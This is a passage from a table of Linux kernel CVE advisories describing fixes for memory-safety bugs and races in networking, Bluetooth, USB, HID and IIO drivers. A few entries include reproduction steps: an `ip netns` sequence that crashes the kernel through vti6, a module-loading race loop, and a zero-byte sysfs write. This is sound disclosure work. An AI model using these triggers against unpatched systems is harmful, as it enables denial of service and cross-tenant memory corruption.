function-pointer signature change is internal. pfkey_broadcast() is already netns-aware via net_generic(net, pfkey_net_id) since the pernet conversion. The five other pfkey_broadcast() callers in af_key.c already pass xs_net(x), sock_net(sk) or a per-netns net, so this only removes the &init_net outlier. |
| CVE-2026-63915 | In the Linux kernel, the following vulnerability has been resolved: nfc: hci: fix out-of-bounds read in HCP header parsing Both nfc_hci_recv_from_llc() and nci_hci_data_received_cb() read packet->header from skb->data at function entry without first checking that the buffer holds at least one byte. A malicious NFC peer can send a 0-byte HCP frame that passes through the SHDLC layer and reaches these functions, causing an out-of-bounds heap read of packet->header. The same 0-byte frame, if queued as a non-final fragment, also causes the reassembly loop to underflow msg_len to UINT_MAX, triggering skb_over_panic() when the reassembled skb is written. Fix this by adding a pskb_may_pull() check at the entry of each function before packet->header is first accessed. The existing pskb_may_pull() checks before the reassembled hcp_skb is cast to struct hcp_packet remain in place to guard the 2-byte HCP message header. |
| CVE-2026-63916 | In the Linux kernel, the following vulnerability has been resolved: HID: wacom: Fix OOB write in wacom_hid_set_device_mode() wacom_hid_set_device_mode() currently assumes that the HID_DG_INPUTMODE usage is always located in the first field (field[0]) of the feature report. However, a device can specify HID_DG_INPUTMODE in a different field. If HID_DG_INPUTMODE is in a field other than the first one and the first field has a report_count smaller than the usage_index of HID_DG_INPUTMODE, this leads to an out-of-bounds write to r->field[0]->value. Fix this by storing the field index of HID_DG_INPUTMODE in 'struct hid_data' during feature mapping. In wacom_hid_set_device_mode(), use this stored field index to access the correct field and add bounds checks to ensure both the field index and the value index are within valid ranges before writing. |
| CVE-2026-63917 | In the Linux kernel, the following vulnerability has been resolved: ip6: vti: Use ip6_tnl.net in vti6_changelink(). ip netns add ns1 ip netns add ns2 ip -n ns1 link add vti6_test type vti6 remote ::1 local ::2 key 7 ip -n ns1 link set vti6_test netns ns2 ip -n ns2 link set vti6_test type vti6 remote ::3 local ::4 key 9 ip netns del ns2 ip netns del ns1 [ 132.495484] ------------[ cut here ]------------ [ 132.497609] kernel BUG at net/core/dev.c:12376! Commit 61220ab34948 ("vti6: Enable namespace changing") dropped NETIF_F_NETNS_LOCAL from vti6 devices. A vti6 tunnel can then move through IFLA_NET_NS_FD. After the move dev_net(dev) points at the new netns while t->net stays at the creation netns. vti6_changelink() and vti6_update() still use dev_net(dev) and dev_net(t->dev). They unlink from one per netns hash and relink into another. The creation netns is left with a stale entry. cleanup_net() of that netns later walks freed memory. Reachable from an unprivileged user namespace (unshare --user --map-root-user --net). Cross tenant scope on container hosts. |
| CVE-2026-63919 | In the Linux kernel, the following vulnerability has been resolved: xfrm: input: hold netns during deferred transport reinjection Transport-mode reinjection stores a struct net pointer in skb->cb and uses it later from xfrm_trans_reinject(). That pointer must stay valid until the deferred callback runs. Take a netns reference when queueing deferred reinjection work and drop it after the callback completes. Use maybe_get_net() so the queueing path does not revive a namespace that is already being torn down. This keeps the existing workqueue design and fixes the netns lifetime handling in one place for all users of xfrm_trans_queue_net(). |
| CVE-2026-63920 | In the Linux kernel, the following vulnerability has been resolved: ipv6: validate extension header length before copying to cmsg ip6_datagram_recv_specific_ctl() builds IPV6_{HOPOPTS,DSTOPTS,RTHDR} cmsgs (and their IPV6_2292* legacy counterparts) by trusting the on-wire hdrlen byte (ptr[1]) when computing the put_cmsg() length. The length was validated only at parse time (ipv6_parse_hopopts(), etc.). An nftables payload-write expression can rewrite hdrlen after parsing and before the skb reaches recvmsg; the write itself is in-bounds but put_cmsg() then reads up to ((hdrlen+1) << 3) = 2040 bytes from an 8-byte header. nftables is reachable from an unprivileged user namespace, so this is an unprivileged slab-out-of-bounds read: BUG: KASAN: slab-out-of-bounds in put_cmsg+0x3ac/0x540 put_cmsg+0x3ac/0x540 udpv6_recvmsg+0xca0/0x1250 sock_recvmsg+0xdf/0x190 ____sys_recvmsg+0x1b1/0x620 Add ipv6_get_exthdr_len() which validates that at least two bytes are accessible before reading the hdrlen field, then checks the computed length against skb_tail_pointer(skb), returning 0 on failure. Extension headers are kept in the linear skb area by pskb_may_pull() during input, so skb_tail_pointer() is the correct bound. Use ipv6_get_exthdr_len() at all non-AH call sites: the five standalone cmsg blocks (HbH, 2292HbH, 2292DSTOPTS x2, 2292RTHDR) and the three standard cases in the extension-header walk loop (DSTOPTS, ROUTING, default). AH retains an inline bounds check because its length formula differs ((ptr[1]+2)<<2). The walk loop also gets a pre-read bounds check at the top to validate ptr before any case accesses ptr[0] or ptr[1]. When the walk loop detects a corrupted header, return from the function instead of continuing to process later socket options. |
| CVE-2026-63921 | In the Linux kernel, the following vulnerability has been resolved: ip6: vti: Use ip6_tnl.net in vti6_siocdevprivate(). After patch 1/2 in this series, vti6_update() unlinks and relinks the tunnel through t->net. vti6_siocdevprivate() still uses dev_net(dev) for the collision lookup. For a tunnel moved through IFLA_NET_NS_FD, dev_net(dev) is the new netns, not t->net. SIOCCHGTUNNEL on a migrated tunnel then runs: net = dev_net(dev) /* migrated netns */ t = vti6_locate(net, &p1, false) /* misses target in t->net */ ... t = netdev_priv(dev) vti6_update(t, &p1, false) /* mutates t->net's hash */ A caller in the migrated netns picks params that match a tunnel in the creation netns. The lookup in dev_net(dev) finds nothing. vti6_update() prepends the migrated tunnel at the head of the creation netns hash bucket for those params. Later lookups in the creation netns resolve to the migrated device. xfrm receive delivers the matched packets through a device the caller controls. Reachable from an unprivileged user namespace (unshare --user --map-root-user --net). Cross tenant scope on container hosts. Switch the SIOCCHGTUNNEL path on a non fallback device to use t->net for the lookup. The lookup now matches the netns vti6_update() operates on. Also add ns_capable(self->net->user_ns, CAP_NET_ADMIN) before the lookup. The check at the top of the case is against dev_net(dev)->user_ns, which after migration is the attacker's netns. A caller there can pick params absent from self->net, the lookup returns NULL, t becomes self, and vti6_update() inserts the device into the creation netns hash. The new check requires CAP_NET_ADMIN in the creation netns user_ns too. SIOCADDTUNNEL and SIOCCHGTUNNEL on the fallback device keep dev_net(dev), which equals init_net there. |
| CVE-2026-63922 | In the Linux kernel, the following vulnerability has been resolved: ipv6: exthdrs: refresh nh after handling HAO option ip6_parse_tlv() caches skb_network_header(skb) in nh while walking IPv6 TLVs. ipv6_dest_hao() may call pskb_expand_head() for a cloned skb, which can move the skb head and invalidate the cached network header pointer. Refresh nh after ipv6_dest_hao() returns so any trailing padding or TLVs are parsed from the current skb head. This matches the existing pattern used in ip6_parse_tlv() after helpers that can modify skb header storage. |
| CVE-2026-63924 | In the Linux kernel, the following vulnerability has been resolved: ipv6: exthdrs: refresh nh pointer after ipv6_hop_jumbo() ipv6_hop_jumbo() calls pskb_trim_rcsum(), which can change skb pointers. Let's recompute nh pointer to make sure any change won't mess things up. |
| CVE-2026-63925 | In the Linux kernel, the following vulnerability has been resolved: macsec: fix replay protection at XPN lower-PN wrap In macsec_post_decrypt(), when pn is U32_MAX, pn + 1 overflows u32 to 0 and the first branch never fires. If next_pn_halves.lower is also in the upper half, pn_same_half(pn, lower) is true and the XPN else-if does not fire either, leaving next_pn_halves unchanged. An attacker that captures the legitimate frame carrying pn == 0xFFFFFFFF on an XPN association can then replay it indefinitely, since lowest_pn never rises above the captured pn and macsec_decrypt() reconstructs the same IV. Extend the XPN else-if to also fire when pn + 1 wraps to 0, so receipt of pn == U32_MAX advances next_pn_halves to (upper + 1, 0). |
| CVE-2026-63926 | In the Linux kernel, the following vulnerability has been resolved: bpf: sockmap: fix tail fragment offset in bpf_msg_push_data When bpf_msg_push_data() inserts data in the middle of a scatterlist entry, it splits the original entry into a left fragment and a right fragment. The right fragment offset is page-local, but the code advances it with `start`, which is the message-global insertion point. For inserts into a non-first SG entry, this over-advances the offset and leaves the split layout inconsistent. Advance the right fragment offset by the fragment-local delta, `start - offset`, which matches the length removed from the front of the original entry. |
| CVE-2026-63927 | In the Linux kernel, the following vulnerability has been resolved: usb: dwc2: Fix use after free in debug code We're not allowed to dereference "urb" after calling usb_hcd_giveback_urb() so save the urb->status ahead of time. |
| CVE-2026-63928 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: omninet: fix memory corruption with small endpoint Make sure that the bulk-out buffers are at least as large as the hardcoded transfer size to avoid user-controlled slab corruption should a malicious device report a smaller endpoint max packet size than expected. |
| CVE-2026-63930 | In the Linux kernel, the following vulnerability has been resolved: iio: buffer: hw-consumer: fix use-after-free in error path In the err_put_buffers cleanup path of iio_hw_consumer_alloc(), the code was using list_for_each_entry() to iterate through buffers while calling iio_buffer_put() which can free the current buffer if refcount drops to 0. The list_for_each_entry() loop macro then evaluates buf->head.next to continue iteration, accessing the freed buffer. Fix this by using list_for_each_entry_safe(). |
| CVE-2026-63931 | In the Linux kernel, the following vulnerability has been resolved: iio: chemical: scd30: fix division by zero in write_raw Add a zero check for val2 before using it as a divisor when setting the sampling frequency. A user writing a zero fractional part to the sampling_frequency sysfs attribute triggers a division by zero in the kernel. |
| CVE-2026-63933 | In the Linux kernel, the following vulnerability has been resolved: iio: gyro: adis16260: fix division by zero in write_raw Add a validation check for the sampling frequency value before using it as a divisor. A user writing zero to the sampling_frequency sysfs attribute triggers a division by zero in the kernel. |
| CVE-2026-63934 | In the Linux kernel, the following vulnerability has been resolved: iio: gyro: itg3200: fix i2c read into the wrong stack location itg3200_read_all_channels() takes `__be16 *buf' as a parameter and fills the i2c_msg destination as `(char *)&buf'. Since `buf' is the parameter (a pointer), `&buf' is the address of the local pointer slot on the stack of itg3200_read_all_channels(), not the address of the caller's scan buffer. The (char *) cast hides the type mismatch. i2c_transfer() therefore writes ITG3200_SCAN_ELEMENTS * sizeof(s16) = 8 bytes into the parameter's stack slot, which is discarded when the function returns. The caller's scan buffer in itg3200_trigger_handler() is never written to, so iio_push_to_buffers_with_timestamp() pushes uninitialised stack contents to userspace via /dev/iio:deviceX every scan -- both a functional bug (no actual gyroscope or temperature data is delivered through the triggered buffer) and an information leak. The non-buffered read_raw() path is unaffected: it goes through itg3200_read_reg_s16() which uses `&out' on a local s16 value, where that is correct. Drop the spurious `&' so the i2c read writes into the caller's buffer. |
| CVE-2026-63940 | In the Linux kernel, the following vulnerability has been resolved: KVM: SEV: Ignore Port I/O requests of length '0' Explicitly ignore Port I/O requests of length '0' (or count '0'), so that setting up the software scratch area (and other code) doesn't have to worry about underflowing the length, and to allow for WARNing on trying to configure the scratch area with len==0. |
| CVE-2026-63942 | In the Linux kernel, the following vulnerability has been resolved: parport: Fix race between port and client registration The parport subsystem registers port devices before they are fully initialised, resulting in a race condition where client drivers such as lp can attach to ports that are not completely initialised or even being torn down. When the port and client drivers are built as modules and loaded around the same time during boot, this occasionally results in a crash. I was able to make this happen reliably in a VM with a PC-style parallel port by patching parport_pc to fail probing: > --- a/drivers/parport/parport_pc.c > +++ b/drivers/parport/parport_pc.c > @@ -2069,7 +2069,7 @@ static struct parport *__parport_pc_probe_port(unsigned long int base, > if (!p) > goto out3; > > - base_res = request_region(base, 3, p->name); > + base_res = NULL; > if (!base_res) > goto out4; > and then running: while true; do modprobe lp & modprobe parport_pc wait rmmod lp parport_pc done for a few seconds. In the long term I think port registration should be changed to put the call to device_add() inside parport_announce_port(), but since the latter currently cannot fail this will require changing all port drivers. For now, add a flag to indicate whether a port has been "announced" and only try to attach client drivers to ports when the flag is set. |
| CVE-2026-63943 | In the Linux kernel, the following vulnerability has been resolved: Input: xpad - fix out-of-bounds access for Share button xpadone_process_packet() receives len directly from urb->actual_length and uses it to index the share-button byte at data[len - 18] or data[len - 26]. Since both len and data[0] are under the device's control, a broken controller can send a GIP_CMD_INPUT packet with actual_length < 18 (e.g. 5 bytes) and reach this code path, causing accesses beyond the actual array. Fix this by calculating the offset and checking bounds against the packet length. |
| CVE-2026-63944 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync hci_le_create_cis_sync() dereferences conn->conn_timeout after releasing both rcu_read_lock() and hci_dev_lock(hdev). The conn pointer was obtained from an RCU-protected iteration over hdev->conn_hash.list and is not valid once these locks are dropped. A concurrent disconnect can free the hci_conn between the unlock and the dereference, causing a use-after-free read. The cancellation mechanism in hci_conn_del() cannot prevent this because hci_le_create_cis_pending() queues hci_create_cis_sync with data=NULL: hci_cmd_sync_queue(hdev, hci_create_cis_sync, NULL, NULL); While hci_conn_del() dequeues with data=conn: hci_cmd_sync_dequeue(hdev, NULL, conn, NULL); Since NULL != conn, the lookup in _hci_cmd_sync_lookup_entry() never matches, and the pending work item is not cancelled. Fix this by saving conn->conn_timeout into a local variable while the locks are still held, so the stale conn pointer is never dereferenced after unlock. This is the same class of bug as the one fixed by commit 035c25007c9e ("Bluetooth: hci_sync: Fix UAF on le_read_features_complete") which addressed the identical pattern in a different function. This vulnerability was identified using 0sec.ai, an open-source automated security auditing platform (https://github.com/0sec-labs). |
| CVE-2026-63945 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock iso_sock_close() calls iso_sock_clear_timer() before acquiring lock_sock(sk). iso_sock_clear_timer() reads iso_pi(sk)->conn twice without the socket lock held: if (!iso_pi(sk)->conn) return; cancel_delayed_work(&iso_pi(sk)->conn->timeout_work); Concurrently, iso_conn_del() executes under lock_sock(sk) and calls iso_chan_del(), which sets iso_pi(sk)->conn to NULL and may result in the final reference to the connection being dropped: CPU0 CPU1 ---- ---- iso_sock_clear_timer() if (conn != NULL) ... lock_sock(sk) iso_chan_del() iso_pi(sk)->conn = NULL cancel_delayed_work(conn) /* NULL deref or UAF */ iso_pi(sk)->conn is not stable across the unlock window, causing a NULL pointer dereference or use-after-free. Serialize iso_sock_clear_timer() with the socket lock by moving it inside lock_sock()/release_sock(), matching the pattern used in iso_conn_del() and all other call sites. |
| CVE-2026-63946 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: fix UAF in iso_recv_frame iso_recv_frame reads conn->sk under iso_conn_lock but releases the lock before using sk, with no reference held. A concurrent iso_sock_kill() can free sk in that window, causing use-after-free on sk->sk_state and sock_queue_rcv_skb(). Fix by replacing the bare pointer read with iso_sock_hold(conn), which calls sock_hold() while the spinlock is held, atomically elevating the refcount before the lock drops. Add a drop_put label so sock_put() is called on all exit paths where the hold succeeded. |
| CVE-2026-63947 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: HIDP: fix missing length checks in hidp_input_report() hidp_input_report() reads keyboard and mouse payload data from an skb without first verifying that skb->len contains enough data. hidp_recv_intr_frame() pulls the 1-byte HIDP header before dispatching to hidp_input_report(). If a paired device sends a truncated packet, the handler reads beyond the valid skb data, resulting in an out-of-bounds read of skb data. The OOB bytes may be interpreted as phantom key presses or spurious mouse movement. Replace the open-coded length tracking and pointer arithmetic with skb_pull_data() calls. skb_pull_data() returns NULL if the requested bytes are not present, eliminating the need for a manual size variable and the separate skb->len guard. |
| CVE-2026-63948 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: fix chan ref leak in l2cap_chan_timeout() on !conn __set_chan_timer() takes a l2cap_chan reference via l2cap_chan_hold() before scheduling the delayed work. The normal path in l2cap_chan_timeout() drops this reference with l2cap_chan_put() at the end, but the early return when chan->conn is NULL skips the put, leaking the reference. Add the missing l2cap_chan_put() before the early return. |
| CVE-2026-63949 | In the Linux kernel, the following vulnerability has been resolved: auxdisplay: line-display: fix OOB read on zero-length message_store() linedisp_display() unconditionally reads msg[count - 1] before checking whether count is zero, so a write of zero bytes to the message sysfs attribute hits msg[-1]: write(fd, "", 0); -> message_store(..., buf, count=0) -> linedisp_display(linedisp, buf, count=0) -> msg[count - 1] == '\n' ; OOB read The kernfs write buffer for that store is a 1-byte allocation (kernfs_fop_write_iter() does kmalloc(len + 1) with len == 0), so msg[-1] is a 1-byte read before the slab object. On a KASAN-enabled kernel this trips an out-of-bounds report and panics; on stock kernels it silently reads adjacent slab data and, if that byte happens to be '\n', the following count-- wraps ssize_t 0 to -1 and is then passed to kmemdup_nul(). linedisp_display() is reached from the message_store() sysfs callback (drivers/auxdisplay/line-display.c message attribute, mode 0644) and from the in-tree initial-message setup with count == -1, so the OOB path is only userspace-triggerable via zero-byte writes; vfs_write() does not short-circuit on count == 0 and kernfs_fop_write_iter() dispatches the store callback regardless. Guard the trailing-newline trim with a count check. The existing if (!count) block then takes the clear-display path unchanged. Affects every auxdisplay driver that registers via linedisp_register() / linedisp_attach(): ht16k33, max6959, img-ascii-lcd, seg-led-gpio. |
| CVE-2026-63952 | In the Linux kernel, the following vulnerability has been resolved: memfd: deny writeable mappings when implying SEAL_WRITE When SEAL_EXEC is added, SEAL_WRITE is implied to make W^X. But the implied seal is set after the check that makes sure the memfd can not have any writable mappings. This means one can use SEAL_EXEC to apply SEAL_WRITE while having writeable mappings. This breaks the contract that SEAL_WRITE provides and can be used by an attacker to pass a memfd that appears to be write sealed but can still be modified arbitrarily. Fix this by adding the implied seals before the call for mapping_deny_writable() is done. |
| CVE-2026-63954 | In the Linux kernel, the following vulnerability has been resolved: hpfs: fix a crash if hpfs_map_dnode_bitmap fails If hpfs_map_dnode_bitmap fails, the code would call hpfs_brelse4 on uninitialized quad buffer head, causing a crash. |
| CVE-2026-63956 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: cypress_m8: fix memory corruption with small endpoint Make sure that the interrupt-out endpoint max packet size is at least eight bytes to avoid user-controlled slab corruption or NULL-pointer dereference should a malicious device report a smaller size. |
| CVE-2026-63957 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: safe_serial: fix memory corruption with small endpoint Make sure that the bulk-out buffer size is at least eight bytes to avoid user-controlled slab corruption in "safe" mode should a malicious device report a smaller size. |
| CVE-2026-63958 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: validate connector number in ucsi_connector_change() The connector number in a UCSI CCI notification is a 7-bit field supplied by the PPM. ucsi_connector_change() uses it to index the ucsi->connector[] array without checking it against the number of connectors the PPM reported at init time, so a buggy or malicious PPM (EC firmware, or an I2C-attached UCSI controller on the ccg / stm32g0 / glink transports) can drive schedule_work() on memory past the end of the array. Reject connector numbers that are zero or exceed cap.num_connectors before dereferencing the array. |
| CVE-2026-63959 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: tcpm/tcpci_maxim: validate header NDO against RX_BYTE_CNT A broken/malicious port can transmit a CRC-valid frame whose header advertises up to seven data objects but whose body carries fewer than that. Check for this, and rightfully reject the message, instead of reading from uninitialized stack memory. |
| CVE-2026-63960 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: wcove: don't write past struct pd_message in wcove_read_rx_buffer() wcove_read_rx_buffer() copies the PD RX FIFO into the caller's struct pd_message with for (i = 0; i < USBC_RXINFO_RXBYTES(info); i++) regmap_read(wcove->regmap, USBC_RX_DATA + i, msg + i); which has two problems: USBC_RXINFO_RXBYTES() is a 5-bit field (max 31) while struct pd_message is 30 bytes (__le16 header + __le32 payload[PD_MAX_PAYLOAD], packed). The byte count latched in RXINFO is the number of bytes the port partner put on the wire, so a malicious partner that transmits a 31-byte frame can drive the loop one byte past the destination if the WCOVE BMC receiver does not enforce the PD object-count limit in hardware. The existing FIXME flagged this as unverified. Independently, regmap_read() takes an unsigned int * and stores a full unsigned int at the destination. Passing the byte pointer msg + i means each iteration writes four bytes; the high three are zero (val_bits is 8) and are normally overwritten by the next iteration, but the final iteration's high bytes are not. With RXBYTES == 30 the i == 29 iteration already writes three zero bytes past msg, which sits on the IRQ thread's stack in wcove_typec_irq(). Clamp the loop to sizeof(struct pd_message) and read each register into a local before storing only its low byte, so the copy can never exceed the destination regardless of what RXINFO reports. |
| CVE-2026-63961 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: altmodes/displayport: validate count before reading Status Update VDO A broken/malicious device can send the incorrect count for a status update VDO, which will cause the kernel to read uninitialized stack data and send it off elsewhere. Fix this up by correctly verifying the count for the update object. |
| CVE-2026-63962 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: tcpm: bound altmode_desc[] per iteration in svdm_consume_modes() svdm_consume_modes() checks pmdata->altmodes against the array size once before the loop over the count, but forgot to check the bound at every point in the loop. In the well-behaved SVDM discovery flow this is harmless because each of at most SVID_DISCOVERY_MAX SVIDs contributes at most MODE_DISCOVERY_MAX modes, exactly filling altmode_desc[ALTMODE_DISCOVERY_MAX]. But the CMDT_RSP_ACK handler in tcpm_pd_svdm() does not correlate an incoming ACK with any request the port actually sent. Once port->partner is set, an unsolicited Discover Modes ACK is consumed unconditionally. A broken or malicious port partner can therefore drive altmodes to ALTMODE_DISCOVERY_MAX - 1 via the normal flow, and then send one extra Discover Modes ACK with seven VDOs. Because the pre-loop check passes, the loop could then writes up to five entries past altmode_desc[]. For mode_data_prime the next field in struct tcpm_port is the partner_altmode[] pointer array, which then receives partner-chosen SVID/VDO bytes. Move the bound check inside the loop so the array can never be indexed past ALTMODE_DISCOVERY_MAX regardless of how many VDOs the partner supplies or how the function was reached. |
| CVE-2026-63963 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: tcpm: validate VDO count in Discover Identity ACK handlers Properly validate the count passed from a device when calling svdm_consume_identity() or svdm_consume_identity_sop_prime() as the device-controlled value could index off of the static arrays, which could leak data. |
| CVE-2026-63964 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: ccg: reject firmware images without a ':' record header do_flash() locates the first .cyacd record with p = strnchr(fw->data, fw->size, ':'); while (p < eof) { s = strnchr(p + 1, eof - p - 1, ':'); ... } If the firmware image contains no ':' byte, strnchr() returns NULL. NULL compares less than the valid kernel pointer eof, so the loop body runs and strnchr() is called with p + 1 == (void *)1 and a length of roughly (unsigned long)eof, causing a wonderful crash. The not_signed_fw fallthrough earlier in do_flash() and the chip-state branches in ccg_fw_update_needed() allow an unsigned blob to reach this loop, so a root user who can place a crafted file under /lib/firmware and write the do_flash sysfs attribute can trigger the oops. Bail out with -EINVAL when the initial strnchr() returns NULL. |
| CVE-2026-63967 | In the Linux kernel, the following vulnerability has been resolved: iio: imu: st_lsm6dsx: fix stack leak in tagged FIFO buffer The tagged FIFO path declares iio_buff on the stack with __aligned(8) but no initializer, but there is a hole in the structure, which will then leak to userspace as ST_LSM6DSX_SAMPLE_SIZE bytes (6) will be copied, but the space between that and the timestamp are not initialized. Commit c14edb4d0bdc ("iio:imu:st_lsm6dsx Fix alignment and data leak issues") moved the untagged FIFO path to a kzalloc'd buffer in hw->scan, but for the tagged path it only added the alignment qualifier and not the initializer :( Fix this by just zero-initializing the structure on the stack. |
| CVE-2026-63968 | In the Linux kernel, the following vulnerability has been resolved: ipv6: fix possible infinite loop in fib6_select_path() Found while auditing the same pattern Sashiko reported in rt6_fill_node() [1]. Apply the same fix as commit f8d8ce1b515a ("ipv6: fix possible infinite loop in fib6_info_uses_dev()"). Writers holding tb6_lock can list_del_rcu(&first->fib6_siblings) without waiting for RCU readers; first->fib6_siblings.next then still points into the old ring and this softirq-side walker never reaches &first->fib6_siblings as its terminator. fib6_purge_rt() always WRITE_ONCE()s first->fib6_nsiblings to 0 before list_del_rcu(), so an inside-loop check is a reliable detach signal. [1] https://sashiko.dev/#/patchset/20260526020227.4857-1-jiayuan.chen%40linux.dev |
| CVE-2026-63969 | In the Linux kernel, the following vulnerability has been resolved: ipv6: fix possible infinite loop in rt6_fill_node() Sashiko reported this issue [1]. Apply the same fix as commit f8d8ce1b515a ("ipv6: fix possible infinite loop in fib6_info_uses_dev()"). Writers holding tb6_lock can list_del_rcu(&rt->fib6_siblings) without waiting for RCU readers; rt->fib6_siblings.next then still points into the old ring and this softirq-side walker never reaches &rt->fib6_siblings, causing a CPU stall. fib6_del_route() always WRITE_ONCE()s rt->fib6_nsiblings to 0 before list_del_rcu(), so an inside-loop check is a reliable detach signal. [1] https://sashiko.dev/#/patchset/20260526020227.4857-1-jiayuan.chen%40linux.dev |
| CVE-2026-63970 | In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: bind uarg before filling zerocopy skb virtio_transport_send_pkt_info() allocates or reuses the zerocopy uarg before entering the send loop, but virtio_transport_alloc_skb() still fills the skb before it inherits that uarg. When fixed-buffer vectored zerocopy hits MAX_SKB_FRAGS, io_sg_from_iter() may partially attach managed frags and return -EMSGSIZE. The rollback path call kfree_skb() to free an skb that carries SKBFL_MANAGED_FRAG_REFS but no uarg, so skb_release_data() falls through to ordinary frag unref. Pass the uarg into virtio_transport_alloc_skb() and bind it immediately before virtio_transport_fill_skb(). This keeps control or no-payload skbs untouched while ensuring success and rollback share one lifetime rule. |
| CVE-2026-63971 | In the Linux kernel, the following vulnerability has been resolved: sctp: fix race between sctp_wait_for_connect and peeloff sctp_wait_for_connect() drops and re-acquires the socket lock while waiting for the association to reach ESTABLISHED state. During this window, another thread can peeloff the association to a new socket via getsockopt(SCTP_SOCKOPT_PEELOFF), changing asoc->base.sk. After re-acquiring the old socket lock, sctp_wait_for_connect() returns success without noticing the migration — the caller then accesses the association under the wrong lock in sctp_datamsg_from_user(). Add the same sk != asoc->base.sk check that sctp_wait_for_sndbuf() already has, returning an error if the association was migrated while we slept. |
| CVE-2026-63973 | In the Linux kernel, the following vulnerability has been resolved: net: mana: Add NULL guards in teardown path to prevent panic on attach failure When queue allocation fails partway through, the error cleanup frees and NULLs apc->tx_qp and apc->rxqs. Multiple teardown paths such as mana_remove(), mana_change_mtu() recovery, and internal error handling in mana_alloc_queues() can subsequently call into functions that dereference these pointers without NULL checks: - mana_chn_setxdp() dereferences apc->rxqs[0], causing a NULL pointer dereference panic (CR2: 0000000000000000 at mana_chn_setxdp+0x26). - mana_destroy_vport() iterates apc->rxqs without a NULL check. - mana_fence_rqs() iterates apc->rxqs without a NULL check. - mana_dealloc_queues() iterates apc->tx_qp without a NULL check. Add NULL guards for apc->rxqs in mana_fence_rqs(), mana_destroy_vport(), and before the mana_chn_setxdp() call. Add a NULL guard for apc->tx_qp in mana_dealloc_queues() to skip TX queue draining when TX queues were never allocated or already freed. |
| CVE-2026-63974 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_sync: Set HCI_CMD_DRAIN_WORKQUEUE during device close Since hci_dev_close_sync() can now be called during the reset path, we should also set HCI_CMD_DRAIN_WORKQUEUE. This avoids queuing timeouts while the hdev workqueue is being drained. |
| CVE-2026-63975 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix possible crash on l2cap_ecred_conn_rsp If dcid is received for an already-assigned destination CID the spec requires that both channels to be discarded, but calling l2cap_chan_del may invalidate the tmp cursor created by list_for_each_entry_safe and in fact it is the wrong procedure as the chan->dcid may be assigned previously it really needs to be disconnected. Calling l2cap_chan_clone directly may still lead to l2cap_chan_del so instead schedule l2cap_chan_timeout with delay 0 to close the channel asynchronously. |
| CVE-2026-63976 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: l2cap: clear chan->ident on ECRED reconfiguration success l2cap_ecred_reconf_rsp() returns early on success without clearing chan->ident. Every other L2CAP response handler (l2cap_ecred_conn_rsp, l2cap_le_connect_rsp, l2cap_config_rsp) clears chan->ident after a successful transaction to prevent the channel from matching subsequent responses with the recycled ident value. A remote attacker that completed a reconfiguration as the peer can replay a failure response with the stale ident, causing the kernel to match and destroy the already-established channel via l2cap_chan_del(chan, ECONNRESET). Clear chan->ident for all matching channels on success, and harden the failure path by using l2cap_chan_hold_unless_zero() consistent with other L2CAP handlers (l2cap_le_command_rej, __l2cap_get_chan_by_ident). |
| CVE-2026-63978 | In the Linux kernel, the following vulnerability has been resolved: net/handshake: Drain pending requests at net namespace exit The arguments to list_splice_init() in handshake_net_exit() are reversed. The call moves the local empty "requests" list onto hn->hn_requests, leaving the local list empty, so the subsequent drain loop runs zero iterations. Pending handshake requests that had not yet been accepted are not torn down when the net namespace is destroyed; each one keeps a reference on a socket file and on the handshake_req allocation. Pass the source and destination in the documented order (list_splice_init(list, head) moves list onto head) so the pending list is transferred to the local scratch list and drained through handshake_complete(). Fixing the splice direction exposes a list-corruption race. After the splice each req->hr_list still has non-empty link pointers, threading the stack-local scratch list rather than hn_requests. A concurrent handshake_req_cancel() -- for example, from sunrpc's TLS timeout on a kernel socket whose netns reference was not taken -- finds the request through the rhashtable, calls remove_pending(), and sees !list_empty(&req->hr_list). __remove_pending_locked() then list_del_init()s an entry off the scratch list while the drain iterates, corrupting it. The same call arriving after the drain loop has run list_del() on an entry hits LIST_POISON instead. Have remove_pending() check HANDSHAKE_F_NET_DRAINING under hn_lock and report not-found when drain is in progress. The drain has already taken ownership; handshake_complete()'s existing test_and_set on HANDSHAKE_F_REQ_COMPLETED still arbitrates between drain and cancel for who calls the consumer's hp_done. Use list_del_init() rather than list_del() in the drain so req->hr_list does not carry LIST_POISON after drain releases the entry. The DRAINING guard in remove_pending() makes cancel return false, but cancel still falls through to test_and_set_bit on HANDSHAKE_F_REQ_COMPLETED and drops the request's hr_file reference. Without another pin, if that is the last reference, sk_destruct frees the request while it is still linked on the drain loop's local list. Pin each request's hr_file under hn_lock before releasing the list, and drop that drain pin after the loop finishes with the request. |
